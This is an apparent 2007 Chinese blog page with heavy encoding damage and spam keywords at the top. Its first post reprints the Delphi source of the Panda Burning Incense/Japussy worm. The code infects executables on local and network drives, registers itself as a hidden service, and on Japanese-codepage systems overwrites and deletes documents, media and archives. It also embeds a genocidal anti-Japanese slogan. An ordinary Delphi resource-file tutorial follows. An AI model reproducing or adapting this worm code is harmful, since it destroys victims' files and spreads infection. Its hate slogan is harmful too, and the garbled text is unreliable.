亚洲人成网站18禁止,亚洲一级毛片免费看,亚洲制服丝袜第一页

飞鸟 — Wed, 04 Jul 2007 05:33:00 GMT

要是�q�䆾代码真是 "熊猫烧香病毒核心源代�?,那么从技术上�?
作者的"水��^"也好得有限呀,同时也说明这个病�?�?得出�?
�q�样的代�?何以有如此大的动�???是我们的防毒意识太差???�q�是杀毒程序太�???

if IsJap then //是倭文操作�pȝ�� ...SmashFile(Fn); //摧毁文�g �q�点写得比较��q��l�济.

uses
  Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
开头就包含一堆大东西,看来作者是�q�个斚w��?�?学�?

熊猫烧香 - 核心源码
--------------------------------------------------------------------------------
僅供研究使用!後果自行負��K

代码:--------------------------------------------------------------------------------
�E�序代码
program Japussy;
uses
  Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
  HeaderSize = 82432;                  //病毒体的大小
  IconOffset = $12EB8;                //PE文�g��d��标的偏移�?nbsp;

  //在我的Delphi5 SP1上面�~�译得到的大��，其它版本的Delphi可能不同
  //查找2800000020的十六进制字�W�串可以扑ֈ��d��标的偏移�?nbsp;

{
  HeaderSize = 38912;                  //Upx压羃�q�病毒体的大��?nbsp;
  IconOffset = $92BC;                  //Upx压羃�q�PE文�g��d��标的偏移�?nbsp;

  //Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
  IconSize  = $2E8;                  //PE文�g��d��标的大小--744字节
  IconTail  = IconOffset + IconSize;  //PE文�g��d��标的��N��
  ID        = $44444444;              //感染标记

  //我非常爱你码�Q�以备写�?nbsp;
  Catchword = $1$If a race need to be killed out, it must be Yamato. $1$ +
              $1$If a country need to be destroyed, it must be Japan! $1$ +
              $1$*** W32.Japussy.Worm.A ***$1$;
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
  stdcall; external $1$Kernel32.dll$1$; //函数声明
var
  TmpFile: string;
  Si:      STARTUPINFO;
  Pi:      PROCESS_INFORMATION;
  IsJap:  Boolean = False; //日文操作�pȝ��标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
  Ver: TOSVersionInfo;
begin
  Result := False;
  Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  if not GetVersionEx(Ver) then
    Exit;
  if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
    Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
  dStartPos: Integer; Count: Integer);
var
  sCurPos, dCurPos: Integer;
begin
  sCurPos := Src.Position;
  dCurPos := Dst.Position;
  Src.Seek(sStartPos, 0);
  Dst.Seek(dStartPos, 0);
  Dst.CopyFrom(Src, Count);
  Src.Seek(sCurPos, 0);
  Dst.Seek(dCurPos, 0);
end;
{ ��宿��L��件从已感染的PE文�g中分��d��来，以备使用 }
procedure ExtractFile(FileName: string);
var
  sStream, dStream: TFileStream;
begin
  try
    sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
    try
      dStream := TFileStream.Create(FileName, fmCreate);
      try
        sStream.Seek(HeaderSize, 0); //跌��头部的病毒部�?nbsp;
        dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
      finally
        dStream.Free;
      end;
    finally
      sStream.Free;
    end;
  except
  end;
end;
{ 填充STARTUPINFO�l�构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
  Si.cb := SizeOf(Si);
  Si.lpReserved := nil;
  Si.lpDesktop := nil;
  Si.lpTitle := nil;
  Si.dwFlags := STARTF_USESHOWWINDOW;
  Si.wShowWindow := State;
  Si.cbReserved2 := 0;
  Si.lpReserved2 := nil;
end;
{ 发带毒邮�?nbsp;}
procedure SendMail;
begin
  //哪位仁兄愿意完成之？
end;
{ 感染PE文�g }
procedure InfectOneFile(FileName: string);
var
  HdrStream, SrcStream: TFileStream;
  IcoStream, DstStream: TMemoryStream;
  iID: LongInt;
  aIcon: TIcon;
  Infected, IsPE: Boolean;
  i: Integer;
  Buf: array[0..1] of Char;
begin
  try //出错则文件正在被使用�Q�退�?nbsp;
    if CompareText(FileName, $1$JAPUSSY.EXE$1$) = 0 then //是自己则不感�?nbsp;
      Exit;
    Infected := False;
    IsPE    := False;
    SrcStream := TFileStream.Create(FileName, fmOpenRead);
    try
      for i := 0 to $108 do //��查PE文�g�?nbsp;
      begin
        SrcStream.Seek(i, soFromBeginning);
        SrcStream.Read(Buf, 2);
        if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
        begin
          IsPE := True; //是PE文�g
          Break;
        end;
      end;
      SrcStream.Seek(-4, soFromEnd); //��查感染标�?nbsp;
      SrcStream.Read(iID, 4);
      if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
        Infected := True;
    finally
      SrcStream.Free;
    end;
    if Infected or (not IsPE) then //如果感染�q�了或不是PE文�g则退�?nbsp;
      Exit;
    IcoStream := TMemoryStream.Create;
    DstStream := TMemoryStream.Create;
    try
      aIcon := TIcon.Create;
      try
        //得到被感染文件的��d��?744字节)�Q�存入流
        aIcon.ReleaseHandle;
        aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
        aIcon.SaveToStream(IcoStream);
      finally
        aIcon.Free;
      end;
      SrcStream := TFileStream.Create(FileName, fmOpenRead);
      //头文�?nbsp;
      HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
      try
        //写入病毒体主图标之前的数�?nbsp;
        CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
        //写入目前�E�序的主图标
        CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
        //写入病毒体主图标到病毒体��N��之间的数�?nbsp;
        CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
        //写入宿主�E�序
        CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
        //写入已感染的标记
        DstStream.Seek(0, 2);
        iID := $44444444;
        DstStream.Write(iID, 4);
      finally
        HdrStream.Free;
      end;
    finally
      SrcStream.Free;
      IcoStream.Free;
      DstStream.SaveToFile(FileName); //替换宿主文�g
      DstStream.Free;
    end;
  except;
  end;
end;
{ ��目标文件写入我非常�׃��码后删除 }
procedure SmashFile(FileName: string);
var
  FileHandle: Integer;
  i, Size, Mass, Max, Len: Integer;
begin
  try
    SetFileAttributes(PChar(FileName), 0); //��L��只读属�?nbsp;
    FileHandle := FileOpen(FileName, fmOpenWrite); //打开文�g
    try
      Size := GetFileSize(FileHandle, nil); //文�g大小
      i := 0;
      Randomize;
      Max := Random(15); //写入我非常爱你码的随机次�?nbsp;
      if Max < 5 then
        Max := 5;
      Mass := Size div Max; //每个间隔块的大小
      Len := Length(Catchword);
      while i < Max do
      begin
        FileSeek(FileHandle, i * Mass, 0); //定位
        //写入我非常爱你码�Q�将文�g��d��破坏�?nbsp;
        FileWrite(FileHandle, Catchword, Len);
        Inc(i);
      end;
    finally
      FileClose(FileHandle); //关闭文�g
    end;
    DeleteFile(PChar(FileName)); //删除�?nbsp;
  except
  end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
  DiskType: Word;
  D: Char;
  Str: string;
  i: Integer;
begin
  for i := 0 to 25 do //遍历26个字�?nbsp;
  begin
    D := Chr(i + 65);
    Str := D + $1$:$1$;
    DiskType := GetDriveType(PChar(Str));
    //得到本地��盘和网�l�盘
    if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
      Result := Result + D;
  end;
end;
{ 遍历目录�Q�感染和摧毁文�g }
procedure LoopFiles(Path, Mask: string);
var
  i, Count: Integer;
  Fn, Ext: string;
  SubDir: TStrings;
  SearchRec: TSearchRec;
  Msg: TMsg;
  function IsValidDir(SearchRec: TSearchRec): Integer;
  begin
    if (SearchRec.Attr <> 16) and  (SearchRec.Name <> $1$.$1$) and
      (SearchRec.Name <> $1$..$1$) then
      Result := 0 //不是目录
    else if (SearchRec.Attr = 16) and  (SearchRec.Name <> $1$.$1$) and
      (SearchRec.Name <> $1$..$1$) then
        Result := 1 //不是根目�?nbsp;
    else Result := 2; //是根目录
  end;
begin
  if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
  begin
    repeat
      PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列�Q�避免引��h��?nbsp;
      if IsValidDir(SearchRec) = 0 then
      begin
        Fn := Path + SearchRec.Name;
        Ext := UpperCase(ExtractFileExt(Fn));
        if (Ext = $1$.EXE$1$) or (Ext = $1$.SCR$1$) then
        begin
          InfectOneFile(Fn); //感染可执行文�?nbsp;
        end
        else if (Ext = $1$.HTM$1$) or (Ext = $1$.HTML$1$) or (Ext = $1$.ASP$1$) then
        begin
          //感染HTML和ASP文�g�Q�将Base64�~�码后的病毒写入
          //感染��览此网��늚�所有用�?nbsp;
          //哪位大兄弟愿意完成之�Q?nbsp;
        end
        else if Ext = $1$.WAB$1$ then //Outlook地址��文�?nbsp;
        begin
          //获取Outlook邮�g地址
        end
        else if Ext = $1$.ADC$1$ then //Foxmail地址自动完成文�g
        begin
          //获取Foxmail邮�g地址
        end
        else if Ext = $1$IND$1$ then //Foxmail地址��文�?nbsp;
        begin
          //获取Foxmail邮�g地址
        end
        else
        begin
          if IsJap then //是倭文操作�pȝ��
          begin
            if (Ext = $1$.DOC$1$) or (Ext = $1$.XLS$1$) or (Ext = $1$.MDB$1$) or
              (Ext = $1$.MP3$1$) or (Ext = $1$.RM$1$) or (Ext = $1$.RA$1$) or
              (Ext = $1$.WMA$1$) or (Ext = $1$.ZIP$1$) or (Ext = $1$.RAR$1$) or
              (Ext = $1$.MPEG$1$) or (Ext = $1$.ASF$1$) or (Ext = $1$.JPG$1$) or
              (Ext = $1$.JPEG$1$) or (Ext = $1$.GIF$1$) or (Ext = $1$.SWF$1$) or
              (Ext = $1$.PDF$1$) or (Ext = $1$.CHM$1$) or (Ext = $1$.AVI$1$) then
                SmashFile(Fn); //摧毁文�g
          end;
        end;
      end;
      //感染或删除一个文件后睡眠200毫秒�Q�避免CPU占用率过高引��h��?nbsp;
      Sleep(200);
    until (FindNext(SearchRec) <> 0);
  end;
  FindClose(SearchRec);
  SubDir := TStringList.Create;
  if (FindFirst(Path + $1$*.*$1$, faDirectory, SearchRec) = 0) then
  begin
    repeat
      if IsValidDir(SearchRec) = 1 then
        SubDir.Add(SearchRec.Name);
    until (FindNext(SearchRec) <> 0);
    end;
  FindClose(SearchRec);
  Count := SubDir.Count - 1;
  for i := 0 to Count do
    LoopFiles(Path + SubDir.Strings + $1$$1$, Mask);
  FreeAndNil(SubDir);
end;
{ 遍历��盘上所有的文�g }
procedure InfectFiles;
var
  DriverList: string;
  i, Len: Integer;
begin
  if GetACP = 932 then //日文操作�pȝ��
    IsJap := True; //��L��吧！
  DriverList := GetDrives; //得到可写的磁盘列�?nbsp;
  Len := Length(DriverList);
  while True do //��d�@�?nbsp;
  begin
    for i := Len downto 1 do //遍历每个��盘驱动�?nbsp;
      LoopFiles(DriverList + $1$:$1$, $1$*.*$1$); //感染�?nbsp;
    SendMail; //发带毒邮�?nbsp;
    Sleep(1000 * 60 * 5); //睡眠5分钟
  end;
end;
{ �ȝ��序开�?nbsp;}
begin
  if IsWin9x then //是Win9x
    RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进�E?nbsp;
  else //WinNT
  begin
    //�q�程�U�程映射到Explorer�q�程
    //哪位兄台愿意完成之？
  end;
  //如果是原始病毒体自己
  if CompareText(ExtractFileName(ParamStr(0)), $1$Japussy.exe$1$) = 0 then
    InfectFiles //感染和发邮�g
  else //已寄生于宿主�E�序上了�Q�开始工�?nbsp;
  begin
    TmpFile := ParamStr(0); //创徏临时文�g
    Delete(TmpFile, Length(TmpFile) - 4, 4);
    TmpFile := TmpFile + #32 + $1$.exe$1$; //真正的宿��L��Ӟ��多一个空�?nbsp;
    ExtractFile(TmpFile); //分离�?nbsp;
    FillStartupInfo(Si, SW_SHOWDEFAULT);
    CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
      0, nil, $1$.$1$, Si, Pi); //创徏新进�E�运行之
    InfectFiles; //感染和发邮�g
  end;
end.

飞鸟 2007-07-04 13:33 发表评论

谈Delphi�~�程中资源文件的应用

飞鸟 — Fri, 25 May 2007 14:39:00 GMT

一、初�U�应用篇
　　资源文�g一般�ؓ扩展名�ؓres的文�Ӟ��在VC中资源文件用得非常普遍，但Delphi在其联机帮助中对资源文�g�?br>作什么介�l�。其实利用其自带的资源编译工具BRCC32.EXE(一般位于DelphiBIN目录下）,我们完全可以做出跟VC一
��h��果的文�g来�?br>　　资源文�g最大的好处是能��一些在必要时才调用的文件跟可执行文件一��L��译，生成一个文件。这样做最�?br>的好处就是��外部文�g免遭破坏。例如在一个程序中你要临时调用一�q�图片，一般作法是把图片放在某一路径�?br>�Q�通常是主�E�序所在�\径）,但如果用戯��\径误删你的图片文件则可能使程序找不到相应文�g而出错崩溃。另外，
如果你想自己的程序界面美观，想用一些自定义光标�Q�也要用到资源文件�?br>　　资源文�g的��用步骤�ؓ�Q?br>　　 1.�~�写rc脚本文本
　　用记事本或其它文本编辑器�~�写一个扩展名为rc的文件。例如：
　　 mycur cursor move.cur //加入光标
　　 mypic Bitmap Water.BMP //加入位图
　　 mywav WAVE happy.wav //加入声音
　　 myAVI AVI EPOEN.AVI //加入视频
　　 myIco ICON CJT.ICO //加入图标
　　格式分别为在资源文�g中的名称->�c�d��->实际文�g名称�Q�例如上面第一行定义一个名为mycur的光标，实际�?br>�U�Cؓ加入光标move.cur�?br>　　 2.��rc文�g�~�译成res资源文�g
　　��脚本文件和实际文�g拷到Brcc32.EXE所在目录，执行DOS命��o。格式�ؓ�Q�Brcc32 脚本文�g(回�R)�Q�例如有
一名�ؓmyfirst.rc的脚本文�Ӟ��则执行Brcc32 myfirst.rc(回�R)卛_��。如果你是懒人，也可新徏一批处理文�Ӟ��
内容只有一行：Brcc32 mufist.rc�?因�ؓDelphi安装后一般会在自动批处理文�g中指明搜索�\径的)如果�~�译�?br>功，则会生成一个结��ؓres的文�Ӟ��q�个文�g��是我们需要的资源文�g�?br>　　 3.在Delphi单元中加入资源文�?br>　　 ��生成的res资源文�g拯��C��所�~�程序的路径下，在单元文件{$R *DFM}后加上一句{$R mufirst.res}�Q�则
��res文�g加入去，�~�译后资源文件即已包含在可执行文件中了。若你有多个资源文�g�Q�也按上法依�ơ加入�?br>　　 4.在Delphi�E�序中调用资源文�?br>　　资源文�g在Delphi中的关键字�ؓhinstance�Q�下面给出具体用法�?br>　　 <1>光标的调�?br>　　首先在程序中定义一个值大�?的常量，因�ؓDelphi本��n�?到负16来烦引默认的光标�Q�所以我们制定的光标
应从表面�?开始烦引。然后在�H�口的Oncreat事�g中添加以下代码：screen.cursor[35]:=Loadcursor
(hinstance,'mycur');其中35为大�?的常量，mycur为光标在资源文�g中的名字。如果希望在其他控�g上��用定�?br>光标�Q�例如Panel控�g�Q�只需在程序的适当处加入以下代码：Panel1.cursor:=35;
　　 <2>位图的调�?br>　　新徏一��工�E�，��d��一Timage控�g�Q�在需要显�C�的地方写以下代码（其中"mypic"��Z��图资源文件中的名
�U�ͼ��Q?br>　　 Var mymap:Hbitmap;
　　 begin
　　 mymap:=LoadBitmap(hinstance,'mypic');
　　 Image1.picture.Bitmap.Handle:=mymap�Q?br>　　 end;
　　 �?〉AVI文�g的调�?br>　　新徏一工程�Q�添加一Animate控�g�Q�在需要的地方加入�Q�其中myAVI��频文件在资源文�g中的名称�Q�：
　　 animater1.resname:='myAVI';
　　 animater1.Active:=true;
　　 �?〉调用WAV文�g
　　在uses中加入mmsystm单元�Q�以便在�E�序中播放WAV文�g。播放时Playsound(pchar
('mywav'),hinstance,sndsync or snd_resource);其中mywav为声��x��件在资源中的名称�?br>　　 �?〉加入光�?br>　　加入光标比较�Ҏ��Q�只要将res文�g加入单元文�g中即可。但需注意,名称最好取"W"."WW"�{�，使第一个字�?br>��量靠后�Q�以免与�ȝ��序的图标��序颠倒。这样一来，别�h在��用你的程序时如果想选择其它图标��有很多选择
了�?br>　　补充�Q?br>　　 1.资源�c�d��除上�q�类型外�Q�还可以字体文�g�Q�字�W�串文�g�{�；
　　 2.资源文�g不但可以在标准图形界面下使用�q�可在控制台下��用。下面我们来试验一下：新徏一工程�Q�将�?br>一的一个Form删除�Q�然后修改工�E�文件。增加一句{$Apptype console},在uses子句中加入mmsystem,�q�将其它引用
单元删掉。将Begin和end之间语句删掉。至此，我们��可和Turbo PASCAL下编�E�序一��P��且还可以调用windows�?br>API和资源。将资源文�g----{$R myfist.res}加入。在Begin和end之间写下�Q?br>　　 writeln('演示�E�序�Q�按��L��键开始！');
　　 readln;
　　 playsound(pchar('mywav'),hinstance,snd_sync or snd_resource);
　　 writeln('演示�l�束�Q?);
　　�q�行�E�序�Q�将弹出一个标准DOS�H�口�Q�按��L��键播攑֣��x��件。是不是很COOL呢？我曾下蝲�q�一个播攑֙��Q�在
其安装目录下我发现有一“DOS�E�序”�Q�用鼠标双击它便弹出一个DOS�H�口�Q�显�C�DOS时代�Ҏ��的画图，�q�有背景�?br>乐！可能��是用这个方法做的�?br>　　 3.Delphi本��n自带了一个叫Image Editor的工��P��同样可以�~�辑资源文本�Q�但和本文的�Ҏ��比较�Q�可得出�?br>表：
　　 Image Editor Brcc32
　　 BMP 只支�?6位色 ��L��?br>　　光标黑白两色 ��L��?br>　　 ICO 只支�?6位色 ��L��?br>　　 AVI 不支�?支持
　　 WAV 不支�?支持
　　字体不支�?支持
　　字符�?不支�?支持
　　上面说的是直接在�E�序本��n的调用。其实资源文件还有其它用法。比如说在你的程序携带其它文�Ӟ��要用�?br>时候释攑և�来。例如：myexe exefile 'ha1.exe'//脚本文�g
　　下面是自定义释放函数ExtractRes�Q�本例中使用如下�Q�ExtractRes('exefile','myexe','c:new.exe');��把
ha1.exe以new.exe为名字保存到C盘根目录下了�?br>　　 function TForm1.ExtractRes(ResType, ResName, ResNewName: string): boolean;
　　 var
　　 Res: TResourceStream;
　　 begin
　　 try
　　 Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
　　 try
　　 Res.SavetoFile(ResNewName);
　　 Result := true;
　　 finally
　　 Res.Free;
　　 end;
　　 except
　　 Result := false;
　　 end;
　　
　　二、中�U�应用篇:
　　上面我们已经知道如何把一副BMP囑փ�从资源文仉��面读出来�Q�但是BMP文�g太大了，JPG文�g应用的相对较
多。那么如何把JPG囑փ��d��来呢�Q�用资源文�g加流方式卛_��。具体方法如�?
　　 (1)MyJpg JPEG　My.JPG
　　 (2)Var
　　　　　Stream:TStream;
　　　　　MyJpg:TJpegImage;
　　　　Begin
　　　　　Stream�Q�＝TResourceStream.Cceat(HINSTANCE,'MyJpg','JPEG');
　　　　　Try
　　　　　　　MyJpg:=TJpegImage.Create;
　　　　　　Try
　　　　　　　　MyJpg.LoadfromStream(Stream);
　　　　　　　　Image1.Picture.Assignc(MyJpg);
　　　　　　Finally
　　　　　　　　MyJpg.Free;
　　　　　　end;
　　　　　Finally
　　　　　　Stream.Free;
　　　　　end;
　　　　end;
　　��d��其它囄��文�g也是一��L��。比如说gif动画文�g�Q�当然前提是你有一个gif.pas�Q�这个单元很多站炚w��?br>的，可以自己��L��找。实际应用中我还发现用上面的代码可以直接昄��资源文�g中的ICON和BMP�?br>　　说到囑�Ş处理�Q�实际上�q�可以用Delphi创徏、调用纯图标资源的DLL。比如说你可以看看超�U�解霸目录下�?br>Dll,很多��是�U�图标资源而已。具体方法如下：
　　 (1)创徏一个Hicon.RES文�g,�q�里不再重复�Q?br>　　 (2)新徏一文本文�gIcon.dpr,内容如下�Q?br>　　 library Icon;
　　 {$R Icon.RES}
　　 begin
　　 end.
　　用Delphi打开�~�译卛_��得到Icon.dll�?br>　　 (3)实际调用�Ҏ��如下:
　　 ......
　　　Private
　　　　Hinst:THANDLE;
　　 ......
　　　Var　Hicon:THANDLE;
　　 begin
　　　Hinst:=Loadlibrary('Icon.dll');
　　　If　Hinst=0　Then　Exit�Q?br>　　　Hicon:=Loadicon(Hinst,Pchar(Edit1.Text));
　　　 If　Hicon<>0　Then　Image1.Picture.Icon.Handle:=Hicon;
　　　FreeLibrary(Hinst);
　　 end;
　　如果你的�E�序惛_��国际上供使用不同语言的�h使用的话�Q�用Dll来存攑֭��W�资源将是一个好�Ҏ��。因为Dll�?br>象ini文�g那样可以被�h随便修改�Q�特别是有时侯如果想保存一些版权信息的话用Dll��再好不�q�了。比如说你准�?br>开发一�?#8220;汉字��J�体��译�?#8221;软�g�Q�准备提供Gb32、Big5码和英文三种语言菜单�l�用��P��那么你可以试试用Dll
来保存字�W�资源�?br>　　我们需要徏立三个Dll。第一步当然是写Rc文�g�Q��DGb32码�ؓ例，内容如下�Q?br>　　 /*MySc.rc*/
　　 #define IDS_MainForm_Caption　1
　　 #define IDS_BtnOpen_Caption　 2
　　 #define IDS_BtnSave_Caption　 3
　　 #define IDS_BtnBig5_Caption　 4
　　 #define IDS_BtnGb32_Caption　 5
　　 #define IDS_BtnHelp_Caption　 6
　　 #define IDS_Help_Shelp　　　　7
　　 Stringtable
　　 {
　　 IDS_MainForm_Caption,"汉字��J�体��译�?
　　 IDS_BtnOpen_Caption,"打开文�g"
　　 IDS_BtnSave_Caption,"保存文�g"
　　 IDS_BtnBig5_Caption,"转换成Big5"
　　 IDS_BtnGb32_Caption,"转换成Gb32"
　　 IDS_BtnHelp_Caption,"帮助"
　　 IDS_Help_Shelp,"输入文字或打开文�g后按需要点��L��钮即可�{�?"
　　 }
　　另外两个Dll用同��L��Ҏ��生成�?br>　　�W�二步是Brcc32�~�译为Res文�g后用上面的方法得到Dll文�g。下面来应用一下：新徏一个工�E�，放上五个
Button�Q�BtnOpen、BtnSave、BtnBig5、BtnGb32和BtnHelp�Q�还有一个TComboBox:CbSelect用来选择语言�U�类的�?br>具体代码如下�Q?br>　　 unit Unit1;
　　 interface
　　 ......
　　　 private
　　　　 SHelp: string;
　　　　 function SearchLanguagePack: TStrings;
　　　　 procedure SetActiveLanguage(LanguageName: string);
　　　　 { Private declarations }
　　 ......
　　 implementation
　　 procedure TForm1.CbSelectChange(Sender: TObject);
　　 begin
　　　 SetActiveLanguage(CbSelect.Text);//调用相应Dll文�g��d��相应字符.
　　 end;
　　 procedure TForm1.FormCreate(Sender: TObject);
　　 begin
　　　 CbSelect.Items.AddStrings(SearchLanguagePack);//搜烦当前目录下所有的Dll文�g名称
　　 end;
　　 function TForm1.SearchLanguagePack: TStrings;
　　 var
　　　 ResultStrings: TStrings;
　　　 DosError: integer;
　　　 SearchRec: TsearchRec;
　　 begin
　　　 ResultStrings := TStringList.Create;
　　　 DosError := FindFirst(ExtractFilePath(ParamStr(0)) + '*.dll', faAnyFile, SearchRec);
　　　 while DosError = 0 do
　　　　 begin
　　　　　 ResultStrings.Add(ChangeFileExt(SearchRec.Name, ''));
　　　　　 DosError := FindNext(SearchRec);
　　　　 end;
　　　 FindClose(SearchRec);
　　　 Result := ResultStrings;
　　 end;
　　
　　 procedure TForm1.SetActiveLanguage(LanguageName: string);
　　 var
　　　 Hdll: Hmodule;
　　　 MyChar: array[0..254] of char;
　　　 DllFileName: string;
　　 begin
　　　 DllFileName := ExtractFilePath(ParamStr(0)) + LanguageName + '.dll';
　　　 if not FileExists(DllFileName) then Exit;
　　　 Hdll := loadlibrary(Pchar(DllFileName));
　　
　　　 Loadstring(hdll, 1, MyChar, 254);
　　　 Self.Caption := MyChar;
　　 //��d��字符资源�Q?表示资源文�g中定义的1
　　　 Loadstring(hdll, 1, MyChar, 254);
　　　 Self.Caption := MyChar;
　　
　　　 Loadstring(hdll, 2, MyChar, 254);
　　　 BtnOpen.Caption := MyChar;
　　
　　　 Loadstring(hdll, 3, MyChar, 254);
　　　 BtnSave.Caption := MyChar;
　　
　　　 Loadstring(hdll, 4, MyChar, 254);
　　　 BtnBig5.Caption := MyChar;
　　
　　　 Loadstring(hdll, 5, MyChar, 254);
　　　 BtnGb32.Caption := MyChar;
　　
　　　 Loadstring(hdll, 6, MyChar, 254);
　　　 BtnHelp.Caption := MyChar;
　　
　　　 Loadstring(hdll, 7, MyChar, 254);
　　　 SHelp := MyChar;
　　
　　　 Freelibrary(hdll);
　　　 Application.Title := Self.Caption;
　　　 BtnOpen.Visible := True;
　　　 BtnSave.Visible := True;
　　　 BtnBig5.Visible := True;
　　　 BtnGb32.Visible := True;
　　　 BtnHelp.Visible := True;
　　 end;
　　 procedure TForm1.BtnHelpClick(Sender: TObject);
　　 begin
　　　 Application.MessageBox(Pchar(SHelp), 'Http://lovejingtao.126.com', MB_ICONINFORMATION);
　　 end;
　　 end.
　　可能你会��_��q�种�Ҏ��q�不如我自己在程序中直接定义三种具体的值来的方�ѝ��甚��x��自己自定义一个结�?br>好了�Q�用不着用DLL那么�ȝ��的。但是如果你的程序要用的字符很多呢？比如说Windows操作�pȝ��Q�本�w�就有简体中
文、繁体中文、英文等版本�Q�用Dll的话只要直接替换DLL卛_��Q�而不用每发行一个版本就打开代码来修改一�ơ。这
样一来可以大大减��工作量和出错的��Z��?br>　　说到�q�里�Q�再多说一句：Windows�pȝ��本��n很多Dll带有了图片等资源�Q�我们可以在�E�序中直接调�?�q�样一�?br>我们的EXE也可以减��不��！当然最��的�Ҏ��是实时生成技术。老外曄��写了一�?7KB的程序就是利用了�q�个�?br>�?

三、高�U�应用篇
　　 Delphi是个很有效率的开发工��P��但是它有一个缺点就是生成的EXE文�g太大。一个程序就��只有一个空�H�口
体积也有286KB。如果直接用API来写的话�E�序体积是小了，但是又太�J�琐�Q�无法立即看到界面效果，�Ҏ��谈不上是
可视化开发。其实�ƈ�?#8220;��g��熊掌不可兼得”�Q�利用资源文件我们就可以��L��辑ֈ��q�个目的�?br>　　在开始之前，我们需要一个可以编辑资源文件的工具。这�c�d��具很多，比如说Resource WorkShop��是非常�?br>的一个。如果一时找不到�Q�利用VC的编辑器来也是可以的。下面我们就以VC的�ؓ例示范如何创��Z��个窗口资源文
件�?br>　　�q�行VC�Q�打开菜单“File/New”�Q�将出现一个多��w��择��c��我们选择“Files/Resource Template”�Q�在双��
的File填上Demo�Q�Location选择保存路径�Q�然后点��L��钮OK�q�回VC开发环境�?br>　　选择菜单“Insert/Resource”,��出��C��个资源类型选择框。我们把鼠标�U�d��Dialog上面�Q�不用展开�Q�点�?br>双��的New卛_��Q�这时候返回VC开发环境�ƈ出现一个只有关闭按钮和两个Button的窗体。将鼠标选定�H�体�Q�击右键
选择最后一��Properties�Q�将出现一个设�|�窗口，��ID改�ؓ“MAINFORM”(注意�Q�跟下面��d��的其它控件的属性设
�|�方法不同，�ȝ��口的ID必须把双引号写上去，而且名称必须为大写。否则程序将找不到资源。程序会一�q�行��退
��Z��。）Caption改�ؓ“安装�E�序”�Q�这时候可以立�ȝ��到窗口的标题变成�?#8220;安装�E�序”�Q�把Styles的Minimize
box选上�Q�More Styles的Center勾上使程序运行时的位�|�居中。当然你也可以设�|�它的坐标，其它保留默认值即
可。回到开发环境，在控件框里面分别选择一个Static Text�Q�一个Edit Box�Q�一个Button和一个Group Box��d��?br>�H�体上面�Q�把它们按照自己的爱好排列整齐，然后逐个修改它们的属性。方法就是按照上面说的选定控�g后击右键
选择最后一��Properties�Q�在出现的属性框里面修改。其中属性如下：Group Box的Caption属性清�I�，Static
Text的Caption属性改�?#8220;请选择安装目录�Q?#8221;�Q�Edit Box的ID改�ؓ10001�Q�第一个Button的ID�?0002�Q�Caption�?br>性�ؓ“选择”�Q�第二个Button的ID�?0003�Q�Caption属性�ؓ“安装”�Q�第三个Button的ID�?0004�Q�Caption属性�ؓ
“退�?#8221;�?br>　　��Z��使程序更加完��，我们为它再添加一个菜单IDR_MENU1。选择“Insert/Resource/Menu”,我们�q�里只简
单添加一��?#8220;文�g/退�?#8221;�Q�其�?#8220;退�?#8221;的ID�?0005。然后在�ȝ��口的属性Menu讑֮�为IDR_MENU1卛_��?br>　　��Z��使程序更加美观，我们再添加一个小图标�Q�同时这也将是我们程序的图标。选择
“Insert/Resource/Iconv/Import”�Q�选择一个图标文�Ӟ��q�将它的ID讄��?MAINICON"(注意�Q�必��L��双引号写
上而且字母为大�?�Q��ؓ�H�口��d��一个Picture控�g�q�设�|�它的属性Type:Icon�Q�Image下拉选择刚才的图标MainIcon
卛_��?br>　　如果你想为程序在鼠标��d��一些信息也是可以的。选择“Insert/Resource/Version”卛_��。到�q�里我们已经
完成了一个简单的“安装�E�序”的窗体设计，实际上我们现在就可以在Delphi中调用它了。我们先�?#8220;力_��成果”
保存��h��Q�选择“File/Save As”�Q�在文�g�c�d��里选择“32-bit Resource File(.res)”保存�?#8220;Demo.res”,�?br>件大��大�U��ؓ2.65KB�?br>　　新徏一个扩展名为dpr的文本文件MyDemo.Dpr�Q�键入如下代码：
　　 Uses Windows,Messages;
　　 {$R Demo.Res}
　　 function MainDialogProc(
　　　 DlgWin: hWnd;
　　　 DlgMessage: UINT;
　　　 DlgWParam: WPARAM;
　　　 DlgLParam: LPARAM
　　　 )
　　　 : integer; stdcall;
　　 begin
　　　　Result := 0;
　　 case DlgMessage of
　　　　WM_Close:
　　　　　 begin
　　　　　　 PostQuitMessage(0);
　　　　　　 Exit;
　　　　　 end;
　　　 end;
　　 end;
　　 begin
　　　 DialogBox(hInstance, 'MAINFORM', 0, @MainDialogProc);
　　 end.
　　用Delphi打开它编译一�ơ即可��生一个大��ؓ19KB的EXE。是不是很小�Q�！实际上，你甚臛_��用一行代码就�?br>它Show出来�Q�不�q�程序无法关闭而已�Q?br>　　 Uses Windows;
　　 {$R Demo.Res}
　　 function MainDialogProc: integer;
　　 begin
　　　　Result := 0;
　　 end;
　　 begin
